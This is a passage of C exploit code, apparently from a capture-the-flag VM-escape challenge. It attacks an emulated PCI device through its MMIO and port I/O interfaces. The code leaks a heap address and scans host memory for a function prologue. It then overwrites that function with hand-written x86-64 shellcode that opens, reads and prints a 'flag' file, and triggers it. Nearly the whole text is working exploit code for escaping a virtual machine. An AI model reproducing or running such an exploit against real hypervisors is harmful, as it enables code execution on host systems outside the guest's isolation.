int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
mmio = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
puts("yehllow");

int data[0x10] = {1179927361, 860382075, 828328803, 1232559982, 1113548855, 1601790528, 1752183107, 1415541299, 1601447013, 1365208625, 1599425843, 2033478768, 1968124775, 828335182, 1095065380, 2099345747};

for(int i=0;i<0x10;i++){
mmio_write(i*4,data[i]);
}

pmio_write(1,4);
uint32_t addr = 0;
uint32_t heap_addr = 0;
uint32_t heap_base = 0;
uint32_t libc_addr = 0;
uint32_t libc_base = 0;
uint32_t target_addr = 0;
uint32_t shellcode_addr = 0;
while(1){
addr = inb(port_base + 1);
if(addr == 1){
break;
}
}
pmio_write(0x18,0);

puts("malloc ok");
addr = mmio_read(0x40);
heap_addr = addr;
heap_base = heap_addr & 0xffffffffff000000;
target_addr = heap_base + 0xFF1D000;
printf("heap_base >> 0x%x\n",heap_base);
printf("target_addr >> 0x%x\n",target_addr);

for (int i = 0; i < 0x200000; i++)
{
uint64_t dump = 0;
mmio_write(0x40, target_addr);
dump += pmio_read(0x10);
mmio_write(0x40, target_addr + 4);
dump += pmio_read(0x10) * 0x100000000;

printf("%d: *(0x%x)=0x%lx \n", i,target_addr,dump);

if (dump == 0x5641554154415355)
{
shellcode_addr = target_addr;
printf("shellcode_addr >> 0x%x\n", shellcode_addr);
break;
}
target_addr -= 0x1000;
}

char shellcode[] = {0x68,0x66,0x6c,0x61,0x67,0x48,0x89,0xe7,0x31,0xd2,0x31,0xf6,0x6a,0x2,0x58,0xf,0x5,0x48,0x89,0xc7,0x31,0xc0,0x6a,0x3c,0x5a,0x48,0x89,0xe6,0xf,0x5,0x6a,0x1,0x5f,0x6a,0x3c,0x5a,0x48,0x89,0xe6,0x6a,0x1,0x58,0xf,0x5};
printf("shellcode len >> 0x%lx\n", strlen(shellcode));

shellcode_addr = shellcode_addr + 0x30;
for(int i=0;i<strlen(shellcode);i++){
mmio_write(0x40, shellcode_addr+i);
pmio_write(0x10,shellcode[i]);
}
mmio_write(0x40, shellcode_addr - 4);
outl(0x90909090, port_base + 0x10);

return 0;
}